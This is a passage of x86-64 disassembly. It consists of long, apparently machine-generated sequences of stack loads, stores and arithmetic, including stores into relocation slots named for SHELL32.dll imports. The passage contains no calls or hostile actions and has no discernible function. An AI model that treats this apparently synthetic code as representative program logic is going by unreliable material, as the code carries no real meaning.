movzx ecx, word [0x1402c90b0]
sub eax, ecx
mov rcx, qword [rsp + 0xbf68]
mov word [rcx], ax
movzx eax, byte [rsp + 0x9f]
mov byte [rsp + 0xa5], al
mov rax, qword [rsp + 0xbd58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8a]
sub eax, ecx
mov rcx, qword [rsp + 0xba80]
mov byte [rcx], al
mov rax, qword [rsp + 0xbbc8]
movsx eax, word [rax]
movsx ecx, word [0x1402c9228]
or eax, ecx
mov rcx, qword [rsp + 0xbd10]
mov word [rcx], ax
lea rax, [rsp + 0x6ab8]
mov qword [rsp + 0xc6b0], rax
mov rax, qword [rsp + 0xbea0]
mov rcx, qword [rsp + 0xbd60]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xc388], rax
lea rax, [rsp + 0xc1d0]
mov qword [rsp + 0xc6b8], rax
mov eax, dword [rsp + 0x6a58]
mov rcx, qword [rsp + 0xc588]
mov qword [rsp + 0xc6c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc6c0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xc308]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x6b]
mov rcx, qword [rsp + 0xbd30]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [0x1402c91a8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc318]
movsx eax, byte [rax]
movsx ecx, byte [reloc.SHELL32.dll_ILCombine]
and eax, ecx
mov rcx, qword [rsp + 0xc318]
mov byte [rcx], al
movzx eax, word [rsp + 0x15ec]
mov word [rsp + 0x16b4], ax
mov rax, qword [rsp + 0xc5b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbe90]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x1574], ax
lea rax, [rsp + 0x169c]
mov qword [rsp + 0xc6c8], rax
mov rax, qword [rsp + 0xc2c0]
mov rcx, qword [rsp + 0xbe40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6ab0], eax
mov rax, qword [rsp + 0xc448]
mov qword [rsp + 0xc6d0], rax
mov rax, qword [rsp + 0xc1e8]
mov rcx, qword [0x1402c7490]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc6a0], rax
mov rax, qword [rsp + 0xbbf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a10]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc118]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x93]
mov byte [0x1402c90b4], al
lea rax, [rsp + 0x86]
mov qword [rsp + 0xc6d8], rax
movsx eax, byte [0x1402c74b2]
mov rcx, qword [rsp + 0xc458]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x88], al
movzx eax, word [rsp + 0x1684]
mov word [rsp + 0x16b8], ax
mov rax, qword [rsp + 0xbc80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc600]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc4c8]
mov word [rcx], ax
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xc390]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc5a0]
mov qword [rcx], rax
lea rax, [rsp + 0xbec8]
mov qword [rsp + 0xc6e0], rax
mov eax, dword [0x1402c90a0]
mov ecx, dword [rsp + 0x6a8c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a18], eax
mov eax, dword [rsp + 0x68d8]
mov dword [rsp + 0x6acc], eax
movzx eax, byte [rsp + 0xa3]
movzx ecx, byte [rsp + 0x74]
sub eax, ecx
mov byte [0x1402c74ab], al
mov rax, qword [rsp + 0xc238]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbe58]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x92], al
movsx eax, byte [rsp + 0x73]
mov rcx, qword [rsp + 0xbed8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xbea8]
mov byte [rcx], al
movzx eax, word [rsp + 0x1644]
mov word [rsp + 0x16bc], ax
movzx eax, word [rsp + 0x161c]
mov rcx, qword [0x1402c9108]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc5d8]
mov word [rcx], ax
lea rax, [rsp + 0xc530]
mov qword [rsp + 0xc6e8], rax
mov rax, qword [rsp + 0xbb00]
mov rcx, qword [rsp + 0xc080]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6a00], eax
lea rax, [rsp + 0x69bc]
mov qword [rsp + 0xc6f0], rax
mov rax, qword [rsp + 0xc448]
mov rcx, qword [rsp + 0xc438]
mov qword [rsp + 0xc6f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc6f8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xc240], rax
movsx eax, word [rsp + 0x155c]
mov rcx, qword [rsp + 0xc088]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1402c74e0], ax
movzx eax, word [rsp + 0x1650]
movzx ecx, word [rsp + 0x15a4]
imul eax, ecx
mov word [rsp + 0x15d0], ax
movzx eax, byte [rsp + 0x6e]
mov byte [rsp + 0xa6], al
mov rax, qword [rsp + 0xc5d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1540]
sub eax, ecx
mov word [rsp + 0x1554], ax
movzx eax, byte [rsp + 0x87]
mov byte [rsp + 0xa7], al
mov rax, qword [rsp + 0xc2f8]
mov rcx, qword [rsp + 0xc180]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6900], eax
mov rax, qword [rsp + 0xc5f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbd60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbe78], rax
mov rax, qword [0x1402c90a8]
mov rax, qword [rax]
mov qword [rsp + 0xc700], rax
mov rax, qword [rsp + 0xbe40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69b4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbaf8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x15b8]
mov word [rsp + 0x16c0], ax
movzx eax, byte [rsp + 0x78]
movzx ecx, byte [rsp + 0x9a]
add eax, ecx
mov rcx, qword [0x1402c9198]
mov byte [rcx], al
mov rax, qword [rsp + 0xbdb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbe90]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbbc0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x98]
mov rcx, qword [rsp + 0xbfe8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5e], al
lea rax, [rsp + 0x83]
mov qword [rsp + 0xc708], rax
mov rax, qword [rsp + 0xc200]
mov rcx, qword [rsp + 0xbfa8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbb70], rax
mov eax, dword [rsp + 0x69dc]
mov dword [rsp + 0x6ad0], eax
mov rax, qword [rsp + 0xbe50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xba08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc1d0], rax
mov eax, dword [rsp + 0x6a30]
movzx ecx, al
mov eax, dword [rsp + 0x6a64]
sar eax, cl
mov dword [rsp + 0x6aac], eax
mov rax, qword [rsp + 0xc2b8]
movzx eax, byte [rax]
mov byte [rsp + 0xa8], al
lea rax, [rsp + 0x1548]
mov qword [0x1402c9240], rax
mov rax, qword [rsp + 0xbc10]
movzx eax, word [rax]
cdq
mov ecx, 0x778
idiv ecx
mov word [rsp + 0x153c], ax
lea rax, [rsp + 0x15ec]
mov qword [rsp + 0xc710], rax
mov rax, qword [rsp + 0xbe70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x9c]
xor eax, ecx
mov byte [rsp + 0x89], al
lea rax, [rsp + 0xbfb8]
mov qword [rsp + 0xc718], rax
mov eax, dword [rsp + 0x6994]
mov ecx, dword [rsp + 0x6ab4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a74], eax
mov rax, qword [rsp + 0xbd68]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x69d8]
shl eax, cl
mov dword [rsp + 0x6ac4], eax
lea rax, [rsp + 0xc028]
mov qword [rsp + 0xc720], rax
mov rax, qword [rsp + 0xbe20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc618]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x53], al
lea rax, [0x1402c74c0]
mov qword [0x1402c9248], rax
lea rax, [rsp + 0x1644]
mov qword [rsp + 0xc728], rax
mov rax, qword [rsp + 0xc5b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x57]
add eax, ecx
mov byte [rsp + 0x72], al
movzx eax, word [rsp + 0x1570]
movzx ecx, word [0x1402c748c]
sub eax, ecx
mov rcx, qword [rsp + 0xbd80]
mov word [rcx], ax
mov rax, qword [rsp + 0xc5e8]
mov rax, qword [rax]
mov qword [rsp + 0xc730], rax
mov rax, qword [rsp + 0xc150]
mov rcx, qword [rsp + 0xc200]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc660]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6a64]
mov dword [rsp + 0x6ad4], eax
mov rax, qword [rsp + 0xc638]
mov ecx, dword [rsp + 0x699c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6a90], eax
movsx eax, word [rsp + 0x16c0]
movsx ecx, word [rsp + 0x1668]
sub eax, ecx
mov rcx, qword [rsp + 0xc710]
mov word [rcx], ax
movzx eax, byte [rsp + 0x68]
movzx ecx, byte [0x1402c90a5]
sub eax, ecx
mov rcx, qword [0x1402c9198]
mov byte [rcx], al
movzx eax, word [rsp + 0x1680]
mov word [rsp + 0x16c4], ax
mov rax, qword [rsp + 0xc1c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbf40]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc1a8]
mov byte [rcx], al
mov rax, qword [0x1402c9190]
movzx eax, byte [rax]
mov byte [rsp + 0xa9], al
movzx eax, word [rsp + 0x16c4]
movzx ecx, word [rsp + 0x152c]
add eax, ecx
mov word [rsp + 0x1648], ax
lea rax, [rsp + 0x69e8]
mov qword [rsp + 0xc738], rax
mov rax, qword [0x1402c90a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc1f8]
mov qword [rsp + 0xc740], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc740]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc700], rax
mov rax, qword [rsp + 0xbc50]
mov rcx, qword [rsp + 0xc328]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc6e0]
mov qword [rcx], rax
lea rax, [rsp + 0x6900]
mov qword [rsp + 0xc748], rax
movsx eax, byte [rsp + 0x86]
movsx ecx, byte [0x1402c748a]
sar eax, cl
mov byte [reloc.SHELL32.dll_PathYetAnotherMakeUniqueName], al
movzx eax, byte [rsp + 0x91]
mov rcx, qword [rsp + 0xc0f0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x51], al
movzx eax, word [rsp + 0x156c]
mov word [rsp + 0x16c8], ax
movzx eax, word [rsp + 0x1594]
movzx ecx, word [0x1402c9120]
cdq
idiv ecx
mov rcx, qword [rsp + 0xbda8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x65]
mov rcx, qword [rsp + 0xc2e8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbb50]
mov byte [rcx], al
mov rax, qword [rsp + 0xc530]
mov qword [rsp + 0xc750], rax
mov rax, qword [rsp + 0xc1c8]
mov rcx, qword [rsp + 0xc4a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc0b0], rax
mov rax, qword [rsp + 0xc638]
mov eax, dword [rax]
mov dword [rsp + 0x6ad8], eax
mov eax, dword [rsp + 0x6a84]
mov ecx, dword [rsp + 0x69f4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a60], eax
mov rax, qword [0x1402c9208]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x80]
sub eax, ecx
mov byte [0x1402c74a6], al
movzx eax, word [rsp + 0x1618]
movzx ecx, word [rsp + 0x15e0]
add eax, ecx
mov rcx, qword [rsp + 0xc098]
mov word [rcx], ax
lea rax, [rsp + 0x15bc]
mov qword [rsp + 0xc758], rax
mov rax, qword [0x1402c90e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc458]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc4f0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x9f]
mov byte [rsp + 0xaa], al
mov rax, qword [rsp + 0xc2c8]
mov rcx, qword [rsp + 0xc0a0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc6e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbe68]
mov ecx, dword [rsp + 0x6ab0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6ab8], eax
mov eax, dword [rsp + 0x6a10]
mov dword [rsp + 0x6adc], eax
mov rax, qword [rsp + 0xbf90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc1b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc278], rax
mov rax, qword [rsp + 0xbe70]
movzx eax, byte [rax]
mov byte [0x1402c90b5], al
movzx eax, byte [rsp + 0xa3]
mov byte [rsp + 0xab], al
movsx eax, word [rsp + 0x1698]
mov rcx, qword [rsp + 0xc600]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbc80]
mov word [rcx], ax
lea rax, [0x1402c748c]
mov qword [rsp + 0xc760], rax
movsx eax, word [rsp + 0x163c]
movsx ecx, word [rsp + 0x15e8]
or eax, ecx
mov word [rsp + 0x16a8], ax
mov eax, dword [rsp + 0x6ad8]
mov ecx, dword [rsp + 0x6a44]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a3c], eax
lea rax, [0x1402c7498]
mov qword [rsp + 0xc768], rax
mov rax, qword [rsp + 0xba70]
mov rcx, qword [rsp + 0xc720]
mov qword [rsp + 0xc770], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc770]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc1b8], rax
mov rax, qword [rsp + 0xbd48]
mov rax, qword [rax]
mov qword [rsp + 0xc778], rax
movsx eax, byte [rsp + 0x57]
mov rcx, qword [0x1402c90b8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [0x1402c91c8]
mov byte [rcx], al
movzx eax, word [rsp + 0x160c]
movzx ecx, word [rsp + 0x16b0]
add eax, ecx
mov word [rsp + 0x1600], ax
mov rax, qword [rsp + 0xc5f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc710]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xba90]
mov word [rcx], ax
movzx eax, byte [rsp + 0x74]
mov byte [rsp + 0xac], al
movsx eax, word [rsp + 0x1630]
movsx ecx, word [rsp + 0x15c4]
and eax, ecx
mov rcx, qword [rsp + 0xc178]
mov word [rcx], ax
mov rax, qword [rsp + 0xc1d0]
mov qword [rsp + 0xc780], rax
mov eax, dword [rsp + 0x69c8]
mov ecx, dword [0x1402c90a0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc498]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc338]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69a4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a04], eax
mov rax, qword [rsp + 0xc008]
mov rax, qword [rax]
mov qword [rsp + 0xc788], rax
movzx eax, byte [rsp + 0x78]
mov rcx, qword [rsp + 0xc320]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1402c9148]
mov byte [rcx], al
movsx eax, byte [rsp + 0x57]
movsx ecx, byte [rsp + 0x79]
sub eax, ecx
mov rcx, qword [rsp + 0xc318]
mov byte [rcx], al
movzx eax, byte [rsp + 0xa4]
mov byte [rsp + 0xad], al
movzx eax, word [0x1402c74bc]
mov rcx, qword [rsp + 0xc5b8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1550], ax
mov rax, qword [rsp + 0xbbd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbfd0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x153c], ax
mov rax, qword [rsp + 0xc308]
mov eax, dword [rax]
mov dword [rsp + 0x6ae0], eax
mov rax, qword [rsp + 0xbf50]
mov rax, qword [rax]
mov rcx, qword [0x1402c7490]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc780], rax
lea rax, [rsp + 0xbfb8]
mov qword [rsp + 0xc790], rax
mov eax, dword [rsp + 0x69dc]
mov ecx, dword [rsp + 0x69d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ac4], eax
lea rax, [rsp + 0x97]
mov qword [0x1402c9250], rax
lea rax, [rsp + 0x155c]
mov qword [rsp + 0xc798], rax
movsx eax, word [rsp + 0x16b4]
movsx ecx, word [rsp + 0x1668]
shl eax, cl
mov rcx, qword [rsp + 0xc350]
mov word [rcx], ax
movzx eax, word [rsp + 0x15a4]
movzx ecx, word [rsp + 0x15c8]
xor eax, ecx
mov word [rsp + 0x1660], ax
movzx eax, byte [rsp + 0x66]
mov byte [rsp + 0xae], al
mov rax, qword [rsp + 0xbc88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6aa0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x699c], eax
lea rax, [rsp + 0xc4c0]
mov qword [rsp + 0xc7a0], rax
mov rax, qword [rsp + 0xbf58]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc300]
sar rax, cl
mov rcx, qword [rsp + 0xc078]
mov qword [rcx], rax
imul eax, dword [rsp + 0x6998], 0x18c
mov rcx, qword [rsp + 0xc4b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc600]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc490]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1402c9130]
mov word [rcx], ax
mov rax, qword [rsp + 0xc2e8]
movzx eax, byte [rax]
mov byte [rsp + 0xaf], al
movsx eax, byte [rsp + 0x8d]
mov rcx, qword [rsp + 0xc3c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x97], al
movzx eax, byte [rsp + 0x53]
mov byte [rsp + 0xb0], al
mov rax, qword [rsp + 0xc4e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbc10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x15a4], ax
mov rax, qword [rsp + 0xbf90]
mov rcx, qword [rsp + 0xbde8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xbe60]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc310]
mov rax, qword [rax]
mov qword [rsp + 0xc7a8], rax
mov eax, dword [rsp + 0x6a5c]
mov ecx, dword [rsp + 0x69bc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbf18]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6aa8]
mov dword [rsp + 0x6ae4], eax
movsx eax, byte [rsp + 0x88]
mov rcx, qword [rsp + 0xc4f8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x8e], al
lea rax, [rsp + 0x1628]
mov qword [0x1402c9258], rax
mov rax, qword [rsp + 0xbbc0]
movzx eax, word [rax]
mov word [rsp + 0x16cc], ax
mov rax, qword [rsp + 0xc050]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc430]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa3], al
movzx eax, byte [rsp + 0x9d]
movzx ecx, byte [rsp + 0x83]
add eax, ecx
mov byte [rsp + 0xaf], al
lea rax, [rsp + 0x6aa8]
mov qword [rsp + 0xc7b0], rax
mov rax, qword [rsp + 0xbcf8]
mov rcx, qword [rsp + 0xc200]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc568], rax
mov rax, qword [rsp + 0xc428]
mov qword [rsp + 0xc7b8], rax
mov rax, qword [rsp + 0xc4b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc620]
mov qword [rsp + 0xc7c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc7c0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xbdb8]
mov dword [rcx], eax
movsx eax, word [0x1402c74d8]
mov rcx, qword [rsp + 0xc490]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1614], ax
mov rax, qword [rsp + 0xc058]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa8]
shl eax, cl
mov byte [0x1402c74bf], al
mov rax, qword [rsp + 0xc440]
movzx eax, word [rax]
mov word [rsp + 0x16d0], ax
mov rax, qword [0x1402c90d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x57]
or eax, ecx
mov rcx, qword [rsp + 0xc158]
mov byte [rcx], al
movzx eax, word [rsp + 0x162c]
mov word [rsp + 0x16d4], ax
mov rax, qword [rsp + 0xc2c0]
mov rcx, qword [rsp + 0xc5a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x68fc], eax
mov rax, qword [rsp + 0xc148]
mov rcx, qword [rsp + 0xbf18]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x6a30], eax
lea rax, [rsp + 0xc2c8]
mov qword [rsp + 0xc7c8], rax
mov rax, qword [rsp + 0xba00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbfc8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc0e8], rax
mov rax, qword [rsp + 0xc5d8]
movzx eax, word [rax]
mov word [rsp + 0x16d8], ax
movzx eax, word [rsp + 0x1648]
movzx ecx, word [rsp + 0x164c]
add eax, ecx
mov rcx, qword [0x1402c90f8]
mov word [rcx], ax
mov rax, qword [rsp + 0xc4c8]
movsx eax, word [rax]
mov rcx, qword [0x1402c91b8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbca0]
mov word [rcx], ax
mov rax, qword [rsp + 0xc320]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbdc0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbc78]
mov byte [rcx], al
lea rax, [rsp + 0x75]
mov qword [rsp + 0xc7d0], rax
mov rax, qword [rsp + 0xc1e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc450]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc538], rax
lea rax, [rsp + 0x69b4]
mov qword [rsp + 0xc7d8], rax
mov rax, qword [rsp + 0xbb70]
mov rcx, qword [rsp + 0xc0c8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbdd0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x69cc]
mov dword [rsp + 0x6ae8], eax
movzx eax, word [rsp + 0x1608]
movzx ecx, word [rsp + 0x15c8]
add eax, ecx
mov rcx, qword [rsp + 0xbcd8]
mov word [rcx], ax
movsx eax, word [rsp + 0x167c]
mov rcx, qword [rsp + 0xbde0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1402c90c8]
mov word [rcx], ax
movsx eax, byte [0x1402c74a5]
mov rcx, qword [rsp + 0xbf40]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc020]
mov byte [rcx], al
mov rax, qword [rsp + 0xbb50]
movzx eax, byte [rax]
mov byte [rsp + 0xb1], al
mov rax, qword [rsp + 0xbef8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x99]
xor eax, ecx
mov byte [rsp + 0x57], al
lea rax, [rsp + 0x1680]
mov qword [rsp + 0xc7e0], rax
mov eax, dword [rsp + 0x6ac0]
mov rcx, qword [rsp + 0xc290]
mov qword [rsp + 0xc7e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc7e8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x69d8], eax
mov rax, qword [rsp + 0xc310]
mov rcx, qword [rsp + 0xc0d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xc2c8], rax
mov eax, dword [0x1402c7498]
mov dword [rsp + 0x6aec], eax
mov rax, qword [rsp + 0xbf90]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xc3b0]
sar rax, cl
mov rcx, qword [rsp + 0xc258]
mov qword [rcx], rax
movsx eax, word [rsp + 0x15bc]
mov rcx, qword [rsp + 0xc4c8]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1402c74e4], ax
mov rax, qword [0x1402c9250]
movzx eax, byte [rax]
mov byte [rsp + 0xb2], al
movzx eax, byte [rsp + 0x93]
mov rcx, qword [rsp + 0xbe58]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbfb0]
mov byte [rcx], al
mov rax, qword [rsp + 0xc4c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc288]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc578]
mov word [rcx], ax
mov rax, qword [0x1402c9238]
movzx eax, byte [rax]
mov byte [rsp + 0xb3], al
mov rax, qword [rsp + 0xbe68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6ab8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ab0], eax
mov rax, qword [rsp + 0xc678]
mov qword [rsp + 0xc7f0], rax
mov rax, qword [rsp + 0xbfb8]
mov rcx, qword [rsp + 0xc1a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbb70], rax
lea rax, [rsp + 0x6a30]
mov qword [rsp + 0xc7f8], rax
lea rax, [rsp + 0x5c]
mov qword [0x1402c9260], rax
movsx eax, byte [rsp + 0x61]
movsx ecx, byte [0x1402c749f]
add eax, ecx
mov rcx, qword [rsp + 0xc318]
mov byte [rcx], al
mov rax, qword [rsp + 0xbc58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x92]
and eax, ecx
mov byte [rsp + 0xa3], al
lea rax, [rsp + 0x1554]
mov qword [rsp + 0xc800], rax
mov rax, qword [rsp + 0xc108]
movzx eax, word [rax]
imul eax, eax, 0x452
mov rcx, qword [rsp + 0xbd90]
mov word [rcx], ax
lea rax, [rsp + 0xc328]
mov qword [rsp + 0xc808], rax
mov rax, qword [rsp + 0xbe68]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x69ec], eax
mov rax, qword [rsp + 0xc038]
mov rcx, qword [rsp + 0xc338]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc4b8]
mov dword [rcx], eax
lea rax, [rsp + 0xc668]
mov qword [rsp + 0xc810], rax
movzx eax, byte [rsp + 0x5c]
movzx ecx, byte [rsp + 0x68]
sub eax, ecx
mov byte [0x1402c748b], al
mov rax, qword [0x1402c91d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15bc]
sar eax, cl
mov word [rsp + 0x15cc], ax
lea rax, [rsp + 0x95]
mov qword [rsp + 0xc818], rax
movzx eax, word [rsp + 0x15d0]
mov rcx, qword [rsp + 0xc680]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1580], ax
movsx eax, word [0x1402c74c4]
mov rcx, qword [rsp + 0xc088]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xbc68]
mov word [rcx], ax
mov rax, qword [rsp + 0xbc98]
mov eax, dword [rax]
mov dword [rsp + 0x6af0], eax
mov eax, dword [rsp + 0x6a50]
mov ecx, dword [rsp + 0x6abc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ac8], eax
mov rax, qword [rsp + 0xbf28]
mov qword [rsp + 0xc820], rax
mov rax, qword [rsp + 0xc400]
mov rcx, qword [rsp + 0xc7b8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xbe30], rax
mov rax, qword [rsp + 0xbbc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x160c]
sub eax, ecx
mov rcx, qword [0x1402c91c0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6d]
mov rcx, qword [rsp + 0xc190]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc648]
mov byte [rcx], al
lea rax, [rsp + 0x57]
mov qword [rsp + 0xc828], rax
mov rax, qword [rsp + 0xc178]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc798]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc208]
mov word [rcx], ax
movzx eax, word [rsp + 0x1624]
mov word [rsp + 0x16dc], ax
mov rax, qword [rsp + 0xc438]
mov rcx, qword [rsp + 0xc040]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc4a0]
mov qword [rcx], rax
lea rax, [rsp + 0x6a14]
mov qword [rsp + 0xc830], rax
mov rax, qword [rsp + 0xc500]
mov rcx, qword [rsp + 0xc4d8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbe08]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc198]
